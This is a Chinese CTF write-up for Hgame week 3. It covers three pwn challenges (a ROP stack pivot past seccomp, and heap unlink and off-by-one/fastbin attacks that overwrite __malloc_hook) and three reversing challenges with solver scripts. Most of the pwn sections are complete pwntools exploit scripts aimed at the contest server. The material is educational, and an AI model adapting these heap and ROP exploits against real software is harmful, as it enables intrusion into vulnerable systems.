一次受益頗多的CTF(RE/PWN)

前言

這個是Hgame_CTF第三週的題目,難度一週比一週大,而且還涉及了多方面的知識,一整期做下來對或許會有一個比較大的提升。其中有一道逆向,是通過監控本地端口來獲取輸入的,第一次接觸這種輸入模式,故藉此機會記錄一下。

pwn ROP_LEVEL2

程序init禁用了59號中斷,所以不能getshell

__int64 init(){  __int64 v0; // ST08_8  v0 = seccomp_init(2147418112LL);  seccomp_rule_add(v0, 0LL, 59LL, 0LL);  seccomp_load(v0);  return 0LL;}

main函數存在棧溢出,但是最多隻能覆蓋到EBP和返回地址。前邊會讀取256個字節進入buf全局變量。可以通過棧遷移把棧區遷移到buf中,然後在buf中構造ROP,調用OPEN函數打開flag然後跳到0x040098F地址讀取並輸出flag。

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *context.log_level="debug"EXEC_FILE = './ROP'io = remote('47.103.214.163',20300)#io = process('./ROP')elf = ELF(EXEC_FILE)#padding = 88read_plt = elf.plt['read']open_plt = elf.plt['open']io.recvuntil('?')#payload = 'flag\x00\x00\x00\x00'#payload = p64(0x060119F)payload += p64(0x0400a43)#pop rdipayload += p64(0x6010e0)#flagpayload += p64(0x0400a41)#pop rsipayload += p64(0)payload += p64(0)#padingpayload += p64(open_plt)payload += p64(0x040098F)#payload += 'flag\x00\x00\x00\x00'#io.sendline(payload)#buf 0x006010A0payload = 'a'*80payload += p64(0x06010A0)#bufpayload += p64(0x4009D5)io.sendline(payload)print io.recv()io.interactive()

Annevi_Note

查看edit函數,每次會固定讀入256個字節。而每次只能申請小於143字節的堆塊,照成堆溢出。

__int64 edit(){  int v1; // [rsp+Ch] [rbp-4h]  puts("index?");  v1 = readi();  if ( list[v1] )  {printf("content:");read_n((__int64)list[v1], 256);puts("done!");  }  else  {puts("Invalid index!");  }  return 0LL;}

check一下文件查看開了哪些保護

Annevi1.png

可以先申請usorted bin然後釋放再申請回來調用show函數輸出unsorted bin addr,先減去88再減去mainarenaoffset求出libc基地址,不同版本的libc對應着不同版本的mainarenaoffset。然後使用unlink使得能改變list中的元素,寫入malloc hook地址,然後改變malloc hook爲one gadget。

exp

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *context.log_level="debug"#EXEC_FILE = "./ROP_LEV"REMOTE_LIBC = "./libc-2.23.so"#main_offset = 3951392io = remote('47.103.214.163',20301)#io = process('./Annevi')#elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)def add(size,content):    io.sendlineafter(':','1')    io.sendlineafter('?',str(size))    io.sendlineafter(':',content)def edit(idx,content):    io.sendlineafter(':','4')    io.sendlineafter('?',str(idx))    io.sendlineafter(':',content)def delete(idx):    io.sendlineafter(':','2')    io.sendlineafter('?',str(idx))def show(idx):    io.sendlineafter(':','3')    io.sendlineafter('?',str(idx))add(150,'a')add(150,'b')delete(0)add(150,'a'*7)show(0)#求出libc基地址io.recvuntil('a'*7)unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88print hex(unsorted_bin)libc_addr = unsorted_bin - 3951392delete(0)delete(1)malloc_hook = libc_addr + libc.sym['__malloc_hook']x = 0x0602040fd = x-0x18bk = x-0x10payload = p64(0)payload += p64(0x70)payload += p64(fd)+p64(bk)payload += 'a'*(0x70-(8*4))+p64(0x70)payload += p64(0)*3+p64(0x90)+p64(0xa0)add(0x90,'a')#0add(0x90,'b')#1add(0x90,'c')edit(0,payload)delete(1)payload = p64(0)*3payload += p64(malloc_hook)edit(0,payload)edit(0,p64(libc_addr+0xf1147))io.sendlineafter(':','1')io.sendlineafter('?',str(150))io.interactive()

E99p1ant_Note

查看read_n函數,存在off-by-one。能修溢出修改一個字節。

__int64 __fastcall read_n(__int64 a1, int a2){  int i; // [rsp+1Ch] [rbp-4h]  for ( i = 0; i <= a2; ++i )  {read(0, (void *)(i + a1), 1uLL);if ( *(_BYTE *)(i + a1) == 10 )  break;  }  return 0LL;}

可以按照上面一道題的方法,先泄露出libc基地址。然後利用off-by-one配合unsorted bin attack,使得鏈表中兩個元素指向同一塊內存,然後利用fastbin attack修改malloc hook變成one gadget。

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *context.log_level="debug"REMOTE_LIBC = "./libc-2.23.so"#main_offset = 3951392io = remote('47.103.214.163',20302)#io = process('./E99')#elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)def add(size,content):    io.sendlineafter(':','1')    io.sendlineafter('?',str(size))    io.sendlineafter(':',content)def edit(idx,content):    io.sendlineafter(':','4')    io.sendlineafter('?',str(idx))    io.sendlineafter(':',content)def edits(idx,content):    io.sendlineafter(':','4')    io.sendlineafter('?',str(idx))    io.recvuntil(':')    io.send(content)    #io.sendlineafter(':',content)def delete(idx):    io.sendlineafter(':','2')    io.sendlineafter('?',str(idx))def show(idx):    io.sendlineafter(':','3')    io.sendlineafter('?',str(idx))add(0x88,'a')add(0x88,'b')delete(0)add(0x88,'a'*7)show(0)#求出libc基地址io.recvuntil('a'*7)unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88print hex(unsorted_bin)libc_addr = unsorted_bin - 3951392delete(0)delete(1)add(0x88,'a')#0add(0x88,'b')#1add(0x88,'c')#2add(0x88,'d')#3add(0x88,'e')#4add(0x88,'f')#5delete(0)edits(3,'a'*0x80+p64(0x240)+p8(0x90))delete(4)add(0x88,'a')#0add(0x68,'a')#4add(0x10,'a')#6add(0x68,'a')#7add(0x10,'a')#8delete(4)delete(7)malloc_hook = libc_addr + libc.sym['__malloc_hook']edit(1,p64(malloc_hook-35)*2)add(0x68,'a')#4add(0x68,'b')#7print hex(libc_addr+0xf24cb)raw_input()add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))io.sendlineafter(':','1')io.sendlineafter('?',str(100))io.interactive()

re

oooollvm

程序加了ollvm混淆,或許可以用deflat.py去除,但是該程序邏輯比較簡單,雖然加了混淆,但還是可以看清楚邏輯,所以可以帶混淆逆。其實如果實在真的解不了混淆,可以憑經驗下斷點,或者在全部的真實塊下斷點動態調試也是可以的,不過比較麻煩。

v12爲計數器,table1和flag經過計算和table2對比。

可以寫腳本。

table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]flag = ""for i in range(34):    for q in range(20,127):        if (table_2[i] == (~q & (table_1[i] + i) | ~(table_1[i] + i) & q)):            flag += chr(q)print flag

Go_master

程序爲Go寫的linux下的程序。符號表沒去,逆起來比較簡單。

輸入判斷是否爲9位。

  fmt_Fscanln((__int64)a1,a2,(__int64)&go_itab__os_File_io_Reader,(__int64)&v82,v9,v10,(__int64)&go_itab__os_File_io_Reader,os_Stdin);  if ( v81[1] != 9 )// flag長度爲9  {*(_QWORD *)&v88 = &unk_517D80;*((_QWORD *)&v88 + 1) = &off_573EE0;fmt_Fprintln(  (__int64)a1,  a2,  (__int64)&go_itab__os_File_io_Writer,  (__int64)&v88,  v11,  v12,  (__int64)&go_itab__os_File_io_Writer,  os_Stdout);os_Exit((__int64)a1);  }

然後進入sha1加密後對比。由於沒有別的信息,有點難猜測9位是啥。

  v80 = v62;  *(_QWORD *)v62 = 0xEFCDAB8967452301LL;  *(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;  *(_DWORD *)(v62 + 16) = 0xC3D2E1F0;  *(_OWORD *)(v62 + 88) = 0LL;  v13 = *v81;  runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);  *(_QWORD *)&v16 = v80;  *((_QWORD *)&v16 + 1) = 1LL;  crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);  v64 = 0LL;  crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);  v76 = 1LL;  runtime_newobject();  v79 = 0LL;  unk_0 = 0x532A878B04894333LL;  unk_4 = xmmword_5514B0;  runtime_convTslice((__int64)a1, a2, v22);  v78 = 0LL >> 63;  runtime_convTslice((__int64)a1, a2, v23);  *(_QWORD *)&v64 = &unk_515C00;  reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);  v28 = v81;  v29 = v81[1];  v68 = v81[1];  v30 = *v81;  v77 = *v81;  cout = 0LL;

後來發現這9位和:2333拼接,進入net_Listen函數。

flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35);  runtime_concatstring3((__int64)a1,a2,v72[1],v74[1],v37,v38,0,*v74,v74[1],(unsigned __int64)":<=?CLMNPSUZ[\n\t",1,*v72,v72[1]);  *(_QWORD *)&v39 = &unk_54E794;  *((_QWORD *)&v39 + 1) = 3LL;  net_Listen((__int64)a1, a2, (__int64)&unk_54E794, v66, v40, v41, v39, v66, v67);

這9位可能是個ip地址,2333是端口。猜測127.0.0.1和localhost,發現是localhost。然後運行net_Listen函數監聽本地端口2333數據。可以使用telnet往本機端口發送數據。

go1.png

當接收打數據後,程序會進入main_handleRequest函數,使用des加密監聽到的數據對比,密鑰爲localhost。

go2.png

直接解密得到flag

go3.png

hidden

先通過ida的交叉調用定位到sub_1400012E0函數。函數先讀入flag,判斷是不是40字節。

__int64 sub_1400012E0(){  __int64 v0; // rax  char v2; // [rsp+28h] [rbp-30h]  sub_140001C10(&v2);  sub_1400015D0(std::cin, &v2);  if ( sub_1400024A0() == 40 )  {v0 = sub_1400023D0((__int64)&v2);sub_140001270(v0);  }  sub_140001E30((__int64)&v2);  return 0i64;}

進入到sub_140001270函數

__int64 __fastcall sub_140001270(__int64 a1){  __int64 v1; // rdi  int v2; // ebx  int v3; // eax  __int64 result; // rax  v1 = a1;  v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);  v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);  if ( v2 != 0x18257154 || v3 != 2058429201 )result = sub_140001030(0);  elseresult = sub_140001030(1);  return result;}

flag分成兩部分進入sub_1400010C0函數。

__int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3){  int v3; // ebx  unsigned __int64 v4; // rbp  unsigned __int8 *v5; // r14  unsigned int v6; // er12  unsigned int *v7; // r15  signed int v8; // edi  unsigned int *v9; // rsi  unsigned int v10; // edx  unsigned int v11; // ecx  unsigned int v12; // edx  unsigned int v13; // ecx  unsigned int v14; // edx  unsigned int v15; // ecx  unsigned int v16; // edx  unsigned int v17; // ebx  unsigned __int8 *v18; // rdx  __int64 v19; // rax  unsigned int v21; // [rsp+50h] [rbp+8h]  v3 = a1;  v4 = a3;  v5 = a2;  v6 = v21;  v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);  v8 = 0;  v9 = v7;  do  {if ( v8 >= 256 ){  *v9 = v6 ^ *(unsigned int *)((char *)v9 + &unk_140007000 - (_UNKNOWN *)v7 - 1024);  if ( v8 == 4095 )sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);}else{  v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;  if ( !(v8 & 1) )v10 = (unsigned int)v8 >> 1;  v11 = (v10 >> 1) ^ 0xEDB88320;  if ( !(v10 & 1) )v11 = v10 >> 1;  v12 = (v11 >> 1) ^ 0xEDB88320;  if ( !(v11 & 1) )v12 = v11 >> 1;  v13 = (v12 >> 1) ^ 0xEDB88320;  if ( !(v12 & 1) )v13 = v12 >> 1;  v14 = (v13 >> 1) ^ 0xEDB88320;  if ( !(v13 & 1) )v14 = v13 >> 1;  v15 = (v14 >> 1) ^ 0xEDB88320;  if ( !(v14 & 1) )v15 = v14 >> 1;  v16 = (v15 >> 1) ^ 0xEDB88320;  if ( !(v15 & 1) )v16 = v15 >> 1;  v6 = (v16 >> 1) ^ 0xEDB88320;  if ( !(v16 & 1) )v6 = v16 >> 1;  *v9 = v6;}    ++v8;       ++v9;  }  while ( v8 < 4096 );  v17 = ~v3;  v18 = v5;  if ( v5 > &v5[v4] )v4 = 0i64;  if ( v4 )  {do{  v19 = *v18++;  v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];}while ( v18 - v5 < v4 );  }  return ~v17;}

看算法生成了表,很像是CRC32算法。 但是會進入sub_140001010函數。

hidden1.png

裏邊call r8,並且還會調用一個可以輸出正確信息的函數。並且這個函數結束之後,會運行int指令。題目名叫hidden,或許真正有用的信息就隱藏在裏邊。可以動態調試一下到底調用了哪些函數。

__int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD)){  signed int j; // [rsp+20h] [rbp-78h]  signed int i; // [rsp+24h] [rbp-74h]  signed int l; // [rsp+28h] [rbp-70h]  signed int k; // [rsp+2Ch] [rbp-6Ch]  unsigned int v7; // [rsp+30h] [rbp-68h]  char v8[38]; // [rsp+38h] [rbp-60h]  char v9; // [rsp+5Eh] [rbp-3Ah]  char *v10; // [rsp+60h] [rbp-38h]  __int64 v11; // [rsp+68h] [rbp-30h]  __int64 v12; // [rsp+70h] [rbp-28h]  __int64 v13; // [rsp+78h] [rbp-20h]  __int64 v14; // [rsp+80h] [rbp-18h]  __int64 v15; // [rsp+88h] [rbp-10h]  for ( i = 0; i < 40; ++i )v8[i] = *(_BYTE *)(a1 + i);  v10 = &v9;  for ( j = 0; j < 19; ++j )  {for ( k = 0; k < 2; ++k ){  v8[j] ^= v8[j + 19];  v8[j] += v10[k];  v8[j + 19] -= 103;  v8[j + 19] ^= v8[j];}  }  v7 = 1;  for ( l = 0; l < 40; ++l )  {v11 = 8896099409227384902i64;v12 = 5221214014029134222i64;v13 = 5439652918615309179i64;v14 = -9114877380574607267i64;v15 = 9035724225678832282i64;if ( v8[l] != *((char *)&v11 + l) ){  v7 = 0;  return a2(v7);}  }  return a2(v7);}

這估計就是真正處理flag的函數了,a2會通過判斷傳進去的參數輸出正確或者失敗。可以寫腳本。

flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]for i in range(18,-1,-1):    for q in range(1,-1,-1):        flag[i+19] = (flag[i+19]^flag[i])&0xff        flag[i+19] = (flag[i+19]+103)&0xff        flag[i] = (flag[i]-flag[(q+38)])&0xff        flag[i] = (flag[i]^flag[i+19])&0xffflags = ""for i in flag:    flags+=chr(i)print flags

如果想更多系統的學習CTF,可點擊鏈接進入CTF實驗室學習,裏面涵蓋了6個題目類型系統的學習路徑和實操環境。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章